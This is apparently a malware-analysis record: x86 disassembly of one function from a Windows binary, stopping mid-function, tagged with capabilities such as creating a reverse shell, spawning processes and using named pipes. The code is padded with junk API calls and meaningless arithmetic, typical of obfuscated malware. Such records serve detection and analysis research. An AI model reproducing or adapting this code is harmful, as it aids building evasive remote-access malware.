Function at 0x100070d0
Capabilities:
Connect pipe
Create mailslot
Create process on windows
Create reverse shell
Move file
Query environment variable
Read pipe
Set console window title
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0x6c], ecx
movsx eax, byte [ebp + 8]
cmp eax, 0x41
jl 0x100070f7
movsx ecx, byte [ebp + 8]
cmp ecx, 0x5a
jg 0x100070f7
movsx eax, byte [ebp + 8]
sub eax, 0x41
jmp 0x10008915
cmp dword [0x10078b04], 0x58d6f4a8
jne 0x10007386
push 0
call dword [sym.imp.GDI32.dll_GetArcDirection]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPreferredUILanguages]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push str.QZxP2bz2b4UDco1K3snHI7Lfrzyb
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
xor edx, edx
lock inc dword [edx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
push 0
call dword [sym.imp.GDI32.dll_GetPolyFillMode]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNLSVersion]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GdiComment]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestColor]
push 0
push str.YDP3ekKr7BLzZWOxJjwM8Uz5f
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetArcDirection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_DisassociateCurrentThreadFromCallback]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push 0
call dword [sym.imp.GDI32.dll_GetDCBrushColor]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
call dword [sym.imp.GDI32.dll_CreateMetaFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
push 0
call dword [sym.imp.KERNEL32.dll_StartThreadpoolIo]
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessMitigationPolicy]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtTextOutW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameTransactedW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_AnimatePalette]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetBrushOrgEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GdiComment]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationByHandleW]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForThreadpoolWaitCallbacks]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
movsx eax, byte [ebp + 8]
cmp eax, 0x61
jl 0x100073a4
movsx ecx, byte [ebp + 8]
cmp ecx, 0x7a
jg 0x100073a4
movsx eax, byte [ebp + 8]
sub eax, 0x47
jmp 0x10008915
movsx edx, byte [ebp + 8]
cmp edx, 0x30
jl 0x100073c2
movsx eax, byte [ebp + 8]
cmp eax, 0x39
jg 0x100073c2
movsx eax, byte [ebp + 8]
add eax, 4
jmp 0x10008915
mov dword [ebp - 0x10], 0x2072
mov dword [ebp - 8], 0x11bd
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0xd19
mov dword [ebp - 0x3c], 0x118a
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 4]
sub eax, 0x1bf6
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x44], 0
jmp 0x1000741d
mov edx, dword [ebp - 0x44]
add edx, 1
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0x63
jge 0x1000742e
mov eax, dword [ebp - 4]
sub eax, 7
mov dword [ebp - 4], eax
jmp 0x10007414
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x2161
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0xd91
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x38c
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2425
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x82a
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1b25
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0xd
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xbbc
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, 0x1eda
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x138d
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
sub eax, 0x265e
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x9a
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 0x5dd
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x212e
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 0x468
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, 0x2187
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, 0xbb1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x3c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0xe6a
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100075f7
cmp dword [ebp - 8], 0
jle 0x100075f7
mov edx, dword [ebp - 8]
sub edx, 0x15eb
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, 0x177c
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0xe9e
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, 0x1802
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x1061
mov dword [ebp - 4], eax
mov dword [ebp - 0x48], 0
jmp 0x10007637
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0x12
jge 0x10007648
mov edx, dword [ebp - 4]
sub edx, 5
mov dword [ebp - 4], edx
jmp 0x1000762e
mov eax, dword [ebp - 0xc]
add eax, 0x2091
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x1c1e
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x51d
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x4c], 0
jmp 0x1000767d
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x43
jge 0x1000768e
mov ecx, dword [ebp - 8]
add ecx, 8
mov dword [ebp - 8], ecx
jmp 0x10007674
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x24dd
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0x22d8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1e31
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
and eax, 0x80000003
jns 0x100076e4
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x100076fc
cmp dword [ebp - 4], 0
jle 0x100076fc
mov ecx, dword [ebp - 4]
sub ecx, 0x17d1
mov dword [ebp - 4], ecx
jmp 0x10007708
mov edx, dword [ebp - 4]
add edx, 0x17d1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
add eax, 0x26ff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x9f8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xc49
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x50], 0
jmp 0x10007757
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x61
jge 0x10007768
mov ecx, dword [ebp - 0x3c]
sub ecx, 9
mov dword [ebp - 0x3c], ecx
jmp 0x1000774e
mov edx, dword [ebp - 0xc]
add edx, 0x1921
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0x1211
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, 0x137b
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1611
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x156a
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x1e06
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, 0x1ec7
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xbc8
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xbbc
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x65b
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1f46
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000784b
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x10007831
mov eax, dword [ebp - 0xc]
add eax, 0x37d
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x2516
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x674
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 0xa10
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x1ec2
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x232a
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x76d
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x999
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x1561
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100078f1
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x100078d7
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x18f9
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
and eax, 0x80000003
jns 0x1000791e
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1000792e
mov ecx, dword [ebp - 8]
add ecx, 0x1630
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 0xbb1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x101
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x148a
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0x1142
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x1cb4
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
sub eax, 0xace
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x154e
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
and edx, 0x80000001
jns 0x100079bc
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100079cd
mov eax, dword [ebp - 4]
add eax, 0xad3
mov dword [ebp - 4], eax
jmp 0x100079d9
mov ecx, dword [ebp - 4]
sub ecx, 0xad3
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, 0x18d
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, 0x7af
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov dword [ebp - 0x54], 0
jmp 0x10007a14
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x3a
jge 0x10007a25
mov ecx, dword [ebp - 0xc]
sub ecx, 6
mov dword [ebp - 0xc], ecx
jmp 0x10007a0b
mov edx, dword [ebp - 0xc]
sub edx, 0x559
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, 0x2426
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x7ec
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x14fa
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 0x1106
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x299
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1da3
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xb11
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, 0xf5b
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
and eax, 0x80000001
jns 0x10007ac2
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10007ad8
cmp dword [ebp - 0xc], 0
jle 0x10007ad8
mov ecx, dword [ebp - 0xc]
add ecx, 0x1fac
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov dword [ebp - 0x58], 0
jmp 0x10007af3
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x16
jge 0x10007b04
mov ecx, dword [ebp - 0x10]
sub ecx, 2
mov dword [ebp - 0x10], ecx
jmp 0x10007aea
mov edx, dword [ebp - 0xc]
sub edx, 0x1845
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x3c]
and eax, 0x80000001
jns 0x10007b1f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10007b2e
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
jmp 0x10007b10
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, 0x1514
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1e30
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10007b6f
cmp dword [ebp - 4], 0
jle 0x10007b6f
mov edx, dword [ebp - 4]
sub edx, 0xbd3
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
and ecx, 0x80000001
jns 0x10007b88
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10007b97
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10007b78
mov eax, dword [ebp - 0x10]
sub eax, 0xcee
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 0x21b0
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
and eax, 0x80000001
jns 0x10007bc6
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10007bd8
mov ecx, dword [ebp - 0x10]
add ecx, 0x18d6
mov dword [ebp - 0x10], ecx
jmp 0x10007be4
mov edx, dword [ebp - 0x10]
sub edx, 0x18d6
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10007c07
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10007bed
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x5bc
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
sub eax, 0xcd4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x14d
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x132e
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x8e5
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, 0x153
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x5c], 0
jmp 0x10007c82
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x5c], 0xb
jge 0x10007c93
mov edx, dword [ebp - 8]
add edx, 9
mov dword [ebp - 8], edx
jmp 0x10007c79
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 0
jmp 0x10007cae
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x60], 0x16
jge 0x10007cbf
mov edx, dword [ebp - 0xc]
add edx, 9
mov dword [ebp - 0xc], edx
jmp 0x10007ca5
mov eax, dword [ebp - 0xc]
add eax, 0x44b
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, 0xf39
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1983
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x1492
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x3c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10007da9
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
jmp 0x10007d8f
mov eax, dword [ebp - 8]
sub eax, 0xcb0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x20d4
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0xb58
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x47b
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1503
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1845
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, 0xe85
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
and ecx, 0x80000001
jns 0x10007e26
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10007e35
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x10007e16
mov eax, dword [ebp - 0xc]
add eax, 0x184b
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10007e5d
mov edx, dword [ebp - 0xc]
add edx, 0x2260
mov dword [ebp - 0xc], edx
jmp 0x10007e68
mov eax, dword [ebp - 0xc]
